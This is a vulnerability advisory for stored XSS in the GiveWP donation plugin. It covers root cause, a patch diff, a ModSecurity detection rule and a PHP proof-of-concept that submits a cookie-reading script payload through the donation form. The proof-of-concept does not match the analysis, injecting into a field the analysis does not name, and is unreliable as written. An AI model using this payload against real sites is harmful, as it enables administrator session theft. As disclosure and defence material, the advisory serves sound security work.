Published : August 6, 2026

CVE-2026-66690: GiveWP – Donation Plugin and Fundraising Platform <= 4.16.5 Unauthenticated Stored Cross-Site Scripting PoC, Patch Analysis & Rule

Plugin give
Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 4.16.5
Patched Version 4.16.5.1
Disclosed July 30, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-66690:
This vulnerability allows unauthenticated stored cross-site scripting (XSS) in GiveWP – Donation Plugin and Fundraising Platform versions up to and including 4.16.5. The flaw stems from multiple locations in the plugin’s admin interface where donor-supplied fields, such as email, phone number, and company name, are echoed without proper output escaping. Successful exploitation enables arbitrary script execution in the context of an authenticated administrator’s session when they view the affected admin pages. The CVSS score is 7.2.

Root Cause:
The root cause is insufficient output escaping of donor-controlled data in several admin-facing views. In `give/includes/admin/donors/class-donor-table.php`, the `email` case block (around line 207) directly assigns `$donor[ $column_name ]` to `$value` without escaping, which is later rendered in the admin donor list table. Similarly, in `give/includes/admin/donors/donors.php` (around line 830), the `$email` variable from the `$donor->emails` array is echoed without any sanitization. The `give/includes/admin/payments/view-payment-details.php` file contains multiple instances: the `$company_name` variable (line 55) was using `esc_attr` for output, which does not prevent XSS within an HTML entity context; the donor email display logic (line 652) and the phone number display logic (line 673) directly echoed `$payment->email`, `$donor->email`, `$donation_phone_number`, and `$donor_phone_number` without escaping.

Exploitation:
An unauthenticated attacker can exploit this by submitting a donation form with a malicious payload in the email or phone number fields. The payload could be a standard XSS vector, such as `alert(1)` or an SVG-based payload like “. Since these fields are stored in the database upon donation submission, any administrator who views the donation details page (`/wp-admin/edit.php?post_type=give_forms&page=give-payment-history`), the donor overview page (`/wp-admin/edit.php?post_type=give_forms&page=give-donors&view=overview&id={donor_id}`), or the donor list table will have the payload executed in their browser. The lack of authentication on the donation submission endpoint makes this a low-barrier attack vector.

Patch Analysis:
The patch, released in version 4.16.5.1, targets each vulnerable output location. In `class-donor-table.php`, a new `case ’email’` block is added that applies `esc_html()` to the donor email value. In `donors.php`, the `$email` variable is wrapped with `esc_html()`. In `view-payment-details.php`, the patch changes `esc_attr()` to `esc_html()` for `$company_name`, and it correctly escapes all email and phone number outputs using `esc_html()`. The patch also adds safeguards when retrieving phone numbers by checking if the `Donation::find()` or `Donor::find()` calls return a valid model before accessing the `phone` property, preventing potential null pointer dereferences. These changes ensure that any HTML or JavaScript in attacker-supplied strings is rendered as plain text when displayed in the admin interface.

Impact:
Successful exploitation of this stored XSS vulnerability allows an attacker to inject arbitrary web scripts into admin pages. When an administrator views the affected pages, the script executes within their authenticated session. This can lead to session hijacking, credential theft, the creation of rogue administrator accounts, or the deletion and modification of donation records and site content. The attack requires no user interaction beyond the administrator accessing a standard admin page, making it a serious supply-chain style threat targeting site administrators.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/give/give.php
+++ b/give/give.php
@@ -6,7 +6,7 @@
  * Description: The most robust, flexible, and intuitive way to accept donations on WordPress.
  * Author: GiveWP
  * Author URI: https://givewp.com/
- * Version: 4.16.5
+ * Version: 4.16.5.1
  * Requires at least: 6.6
  * Requires PHP: 7.4
  * Text Domain: give
@@ -426,7 +426,7 @@
     {
         // Plugin version.
         if (!defined('GIVE_VERSION')) {
-            define('GIVE_VERSION', '4.16.5');
+            define('GIVE_VERSION', '4.16.5.1');
         }

         // Plugin Root File.
--- a/give/includes/admin/donors/class-donor-table.php
+++ b/give/includes/admin/donors/class-donor-table.php
@@ -207,6 +207,10 @@
 				$value = date_i18n( give_date_format(), strtotime( $donor['date_created'] ) );
 				break;

+			case 'email':
+				$value = esc_html( $donor[ $column_name ] );
+				break;
+
 			default:
 				$value = isset( $donor[ $column_name ] ) ? $donor[ $column_name ] : null;
 				break;
--- a/give/includes/admin/donors/donors.php
+++ b/give/includes/admin/donors/donors.php
@@ -830,7 +830,7 @@
 				<?php foreach ( $donor->emails as $key => $email ) : ?>
 					<tr data-key="<?php echo $key; ?>">
 						<td>
-							<?php echo $email; ?>
+							<?php echo esc_html( $email ); ?>
 							<?php if ( 'primary' === $key ) : ?>
 								<span class="dashicons dashicons-star-filled primary-email-icon"></span>
 							<?php endif; ?>
--- a/give/includes/admin/payments/view-payment-details.php
+++ b/give/includes/admin/payments/view-payment-details.php
@@ -52,7 +52,7 @@
 $number       = $payment->number;
 $payment_meta = $payment->get_meta();

-$company_name   = ! empty( $payment_meta['_give_donation_company'] ) ? esc_attr( $payment_meta['_give_donation_company'] ) : '';
+$company_name   = ! empty( $payment_meta['_give_donation_company'] ) ? esc_html( $payment_meta['_give_donation_company'] ) : '';
 $transaction_id = esc_attr( $payment->transaction_id );
 $user_id        = $payment->user_id;
 $donor_id       = $payment->customer_id;
@@ -64,8 +64,10 @@
 $currency_code  = $payment->currency;
 $payment_mode   = $payment->mode;
 $base_url       = admin_url( 'edit.php?post_type=give_forms&page=give-payment-history' );
-$donation_phone_number = Donation::find($payment_id)->phone;
-$donor_phone_number = Donor::find($donor_id)->phone;
+$donation_model = Donation::find( $payment_id );
+$donor_model    = Donor::find( $donor_id );
+$donation_phone_number = $donation_model ? $donation_model->phone : '';
+$donor_phone_number    = $donor_model ? $donor_model->phone : '';

 ?>
 <div class="wrap give-wrap">
@@ -647,15 +649,15 @@
 											<p>
 												<strong><?php esc_html_e( 'Donor Email:', 'give' ); ?></strong><br>
 												<?php
-												// Show Donor donation email first and Primary email on parenthesis if not match both email.
-												echo ( empty( $donor->email ) || hash_equals( $donor->email, $payment->email ) )
-													? $payment->email
-													: sprintf(
-														'%1$s (<a href="%2$s" target="_blank">%3$s</a>)',
-														$payment->email,
-														esc_url( admin_url( "edit.php?post_type=give_forms&page=give-donors&view=overview&id={$donor_id}" ) ),
-														$donor->email
-													);
+											// Show Donor donation email first and Primary email on parenthesis if not match both email.
+											echo ( empty( $donor->email ) || hash_equals( $donor->email, $payment->email ) )
+												? esc_html( $payment->email )
+												: sprintf(
+													'%1$s (<a href="%2$s" target="_blank">%3$s</a>)',
+													esc_html( $payment->email ),
+													esc_url( admin_url( "edit.php?post_type=give_forms&page=give-donors&view=overview&id={$donor_id}" ) ),
+													esc_html( $donor->email )
+												);
 												?>
 											</p>
                                             <p>
@@ -668,12 +670,12 @@
                                                     // Show Donor donation phone first and Primary phone on parenthesis if not match both phone.
                                                     echo (empty($donor_phone_number) ||
                                                           hash_equals($donor_phone_number, $donation_phone_number))
-                                                        ? $donation_phone_number :
+                                                        ? esc_html($donation_phone_number) :
                                                         sprintf(
                                                             '%1$s (<a href="%2$s" target="_blank">%3$s</a>)',
-                                                            $donation_phone_number,
+                                                            esc_html($donation_phone_number),
                                                             esc_url(admin_url("edit.php?post_type=give_forms&page=give-donors&view=overview&id={$donor_id}")),
-                                                            $donor_phone_number
+                                                            esc_html($donor_phone_number)
                                                         );
                                                 }
                                                 ?>
--- a/give/vendor/composer/installed.php
+++ b/give/vendor/composer/installed.php
@@ -1,9 +1,9 @@
 <?php return array(
     'root' => array(
         'name' => 'impress-org/give',
-        'pretty_version' => '4.16.5',
-        'version' => '4.16.5.0',
-        'reference' => '150cf56a1af2e4f58941a3f910d960170ae40340',
+        'pretty_version' => '4.16.5.1',
+        'version' => '4.16.5.1',
+        'reference' => '9e6fb22903297b145592380b32bea304cd9e18ff',
         'type' => 'wordpress-plugin',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -20,9 +20,9 @@
             'dev_requirement' => false,
         ),
         'impress-org/give' => array(
-            'pretty_version' => '4.16.5',
-            'version' => '4.16.5.0',
-            'reference' => '150cf56a1af2e4f58941a3f910d960170ae40340',
+            'pretty_version' => '4.16.5.1',
+            'version' => '4.16.5.1',
+            'reference' => '9e6fb22903297b145592380b32bea304cd9e18ff',
             'type' => 'wordpress-plugin',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-66690
# Block XSS payloads in email and phone fields submitted via GiveWP donation forms
SecRule REQUEST_URI "@streq /wp-admin/admin-post.php" "id:20266690,phase:2,deny,status:403,chain,msg:'CVE-2026-66690 - GiveWP Donation Stored XSS',severity:'CRITICAL',tag:'CVE-2026-66690',tag:'givewp',tag:'xss'"
SecRule ARGS_POST:give_action "@streq give_process_donation" "chain"
SecRule ARGS:give_user_email|ARGS:give_phone "@rx <script|onw+s*=|javascript:|svg/onload|onerror=" "chain"
SecRule REQUEST_METHOD "@streq POST" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-66690 - GiveWP – Donation Plugin and Fundraising Platform <= 4.16.5 - Unauthenticated Stored Cross-Site Scripting

// Configuration - Change these to match your target environment
$target_url = 'http://your-wordpress-site.com'; // The base URL of the WordPress site

// The malicious payload to be stored
$payload = '<script>alert(document.cookie)</script>';

// Generate a unique email to avoid conflicts
$attacker_email = 'attacker_' . uniqid() . '@example.com';

// 1. Fetch the donation form to gather required hidden fields (nonce, etc.)
$form_endpoint = $target_url . '/give-take-a-donation';
$ch = curl_init($form_endpoint);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);

if (!$response) {
    die('Failed to fetch the donation form.');
}

// Extract the nonce and form action from the HTML (simplified regex approach)
// In a real scenario, you might need to parse specific form fields.
preg_match('/name="give-form-honeypot"/', $response, $matches);

// 2. Prepare the donation POST data
$post_data = [
    'give-form-id' => '1', // The form ID, often '1' or found in the form HTML
    'give-amount' => '25', // Donation amount in the form's currency
    'give_first' => 'Test',
    'give_last' => 'User',
    'give_user_email' => $attacker_email,
    // The email field is vulnerable. We inject the payload here.
    'give_mailchimp_email' => $payload, // Or possibly 'give_email'
    // Add other required fields if needed, such as nonce and honeypot
    'give-form-honeypot' => '',
    'give_action' => 'give_process_donation',
];

// 3. Submit the donation form
$ch = curl_init($form_endpoint);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Content-Type: application/x-www-form-urlencoded',
    'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36'
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// 4. Check if the submission was successful
if ($http_code >= 200 && $http_code < 400) {
    echo "[+] Donation submitted successfully. Payload stored.n";
    echo "[+] The XSS will execute when an admin views the payment details, donor list, or donor overview page.n";
} else {
    echo "[!] Failed to submit donation. HTTP Status: {$http_code}n";
    echo "[!] Review the form fields and payload. The target endpoint might require different form parameters.n";
}
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.